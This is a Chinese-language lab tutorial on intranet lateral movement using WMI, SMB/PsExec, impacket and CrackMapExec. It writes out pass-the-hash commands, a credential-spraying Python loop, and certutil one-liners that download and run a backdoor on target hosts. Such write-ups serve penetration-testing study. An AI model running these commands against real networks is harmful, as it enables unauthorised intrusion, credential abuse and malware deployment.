内网渗透—横向移动&Wmi横移&Smb横移&CME&ProxyChains

前言

继续我们的横移,这篇文章主要说说Wmi横移和Smb横移,以及CME工具的使用。

实验环境

实验环境没什么变化,和上篇的基本一样。同理,只有web服务器是出网的,其它均不出网。

web服务器:192.168.145.138,192.168.22.31
DC域控:192.168.22.30
内网主机1:192.168.22.29
内网主机2:192.168.22.28

Wmi横移

Windows中的wmi是Windows管理工具,它是Windows操作系统中管理数据和操作的基础模块,并且wmic 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,同时该方法不会在目标日志系统留下痕迹。

利用条件

1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码。

Wmic

wmic是Windows中系统自带的命令,不需要再上传什么东西到对方主机,避免存在后续被发现的可能。不过wmic无回显且不支持hash,简单来说就是命令运行完后,无法看到执行的内容。所以一般只用它来使对方主机上线CS。

横移之前先把web服务器上线到CS,并且提权至system这些无需多讲。抓取到密码之后进行横移,执行下面命令发现并没有回显。但是我们已经成功在30主机执行了ver命令。

wmic /node:192.168.22.30 /user:administrator /password:#Root123 process call create "ver"

我们可以搞个有回显的,生成一个正向的后门放到web服务器上面。然后执行下面的命令,让30主机从web服务器下载我们的正向后门。

wmic /node:192.168.22.30 /user:administrator /password:#Root123 process call create "certutil.exe -urlcache -split -f http://192.168.22.31:80/2222.exe 2222.exe"

到30主机看看,发现后门已经成功被下载了。

输入命令运行后门,再让web服务器正向连接即可。

wmic /node:192.168.22.30 /user:administrator /password:#Root123 process call create "C:\Windows\System32\2222.exe"  //执行后门
connect 192.168.22.30 2222 //连接30主机

成功上线30主机。

cscript

这个呢是交互式的,也就是说执行命令之后会返回一个交互式的shell。但是缺点呢,就是不能在CS上面执行,因为CS执行命令之后就没了,不会返回shell。所以只能在跳板机上面执行,比如web服务器输入命令横移到30主机,那么30主机的shell就会返回到web服务器上面。而且还要借助vmiexec.vbs这个脚本才行。

下载链接:SecTools/wmiexec.vbs at main · AA8j/SecTools · GitHub

cscript //nologo wmiexec.vbs /shell 192.168.22.30 administrator #Root123

成功把30主机的shell反弹到web服务器。

wmiexec-impacket

之前我们说的这个impacket套件也包含了wmiexec横移滴,同理也是有exe版和py版本。把exe版本上传到web服务器。执行命令,不过不知道出了啥问题,没成功。

wmiexec ./administrator:#Root123@192.168.22.30 "whoami"

exe版的不行那我们就试试py版的,同样先在CS上web服务器开启代理转发,再在proxifier配置好代理即可。执行whoami命令,成功回显。

wmiexec.py ./administrator:#Root123@192.168.22.30 "whoami"

也可以进行hash传递。

wmiexec.py -hashes :ae7cb5a96c2a31d4c66be99737f48f8c ./administrator@192.168.22.30 "whoami"

上线的话也是很简单滴,先把后门上传到web服务器,再把whoami命令换成下载后门的命令即可,然后运行。都是差不多的,要举一反三。

wmiexec.py ./administrator:#Root123@192.168.22.30 "certutil.exe -urlcache -split -f http://192.168.22.31:80/2222.exe 2222.exe"

到30主机看看,确实已经下载成功。

输入命令运行后门,即可上线CS。反向连接也是一样滴,这里就不多说啦。

wmiexec.py god/administrator:#Root123@192.168.22.30 "start C:\2222.exe"
connect 192.168.22.30 2222

批量化上线脚本和上次其实都差不多的,只不过把命令换一下而已,这里我就不运行给你们看了。

import os
ip = ['192.168.22.30','192.168.22,29','192.168.22.28']
user = ['wlwnb666','administrator','weige']
passwd = ['#Root123','#Admin123','#123Admin']


for ipp in ip:
    for userr in user:
        for passwdd in passwd:
            ipc_exec1 = 'python D:\内网穿透\impacket-0.11.0\examples\\wmiexec.py god/%s:%s@%s "whoami"'%(userr,passwdd,ipp)
            
            print(ipc_exec1)
            os.system(ipc_exec1)
            

Smb横移

psexec-psTool

Smb横移要使用到一个工具PsExec(微软官方工具),这个工具利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。PsExec的使用不需要对方主机开启3389端口,只需要对方开启admin$共享 (该共享默认开启)。假如目标主机开启了防火墙,PsExec 会提示找不到网络路径。

下载地址:PsExec - Sysinternals | Microsoft Learn

执行命令,但是失败了,估计是代理走不通,但我们不知道为啥。

PsExec64.exe \\192.168.22.30 -u administrator -p /#Root123 -s cmd
PsExec64.exe -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.22.30 

既然代理走不通,那我直接把PsExec上传到web服务器再横移到30主机, 也是成功反弹shell好吧。

psexec-impacket

impacke套件中也存在psexec,分别有exe和py版,这里就直演示exe版本了,挂上代理本地运行就行了,懒得再上传到web服务器了,顺便说一下这个只能hash。

./psexec.exe -hashes :ae7cb5a96c2a31d4c66be99737f48f8c god/administrator@192.168.22.30

psexec-CS

CS中呢自带这个玩意的,在目标列表选择想要横移的主机,右键点击横向移动选择psexec64。

先创建一个smb监听器。

账号和密码(hash也行)都是你前期收集的,Domain域有就填,没有就不用管。监听器选择刚刚创建的smb监听器,会话选择web服务器(最好是提权之后的会话)。

30主机成功上线,而且是system权限。

 smbexec

这个工具也是在impacket里面的,也有exe和py版本。用法和功能与那个psexec差不多滴。

smbexec.py god/administrator:#Root123@192.168.22.30
smbexec.py -hashes :ae7cb5a96c2a31d4c66be99737f48f8c administrator@192.168.22.30

Proxychains+CrackMapExec

proxychains这是个Linux的代理工具,和我们上面在windows用的Proxifier一样滴。CrackMapExec这个工具有很多功能但主要都是用来进行密码喷洒。那什么是密码喷洒呢,其实我们上面写的脚本也算是密码喷洒,只不过这个工具里面已经写好了,不需要你自己写了。CrackMapExec我在服务器下载的时候老是有问题,干脆我就在kali上面演示好了。web服务器在CS上开启socks代理,再到proxychains配置一下。

vim /etc/proxychains.conf

执行下面命令,用administrator这个账号密码对10—30主机进行一个密码喷洒。成功的主机会显示一个加号,减号就是不成功。

域内用户喷洒
proxychains crackmapexec smb 192.168.22.10-30 -u administrator -p '#Root123'

这里就记录一下其它命令的使用,其实都大同小异的,就不具体演示了。

本地用户喷洒
proxychains crackmapexec smb 192.168.20.10-30 -u administrator -p '#Root123' --local-auth

本地用户喷洒执行命令:
proxychains crackmapexec smb 192.168.20.10-30 -u administrator -p '#Root123' -x 'whoami' --local-auth

把whoami换成下载后门且运行后门命令实现自动上线(本地用户)
proxychains crackmapexec smb 192.168.20.10-30 -u administrator -p '#Root123' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.20.20/2222.exe c:/2222.exe & c:/2222.exe' --local-auth

把whoami换成下载后门且运行后门命令实现自动上线(域内用户)
proxychains crackmapexec smb 192.168.20.10-30 -u administrator -p '#Root123' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.20.20/2222.exe c:/2222.exe & c:/2222.exe'

字典喷洒且自动下载并运行后门上线,一个字典放用户名,另一个放密码
proxychains crackmapexec smb 192.168.20.10-30 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.20.20/2222.exe c:/2222.exe & c:/2222.exe'

总结

以上便是本次横移的知识了。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值